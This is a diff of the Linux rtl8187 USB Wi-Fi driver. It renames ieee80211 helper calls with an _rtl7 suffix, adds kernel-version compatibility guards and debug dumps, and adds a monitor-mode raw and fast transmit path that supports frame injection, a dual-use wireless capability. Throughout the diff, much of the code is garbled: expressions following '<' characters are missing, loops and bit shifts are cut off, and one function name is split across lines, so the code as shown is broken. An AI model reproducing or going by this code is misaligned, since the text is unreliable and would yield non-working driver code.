@@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = 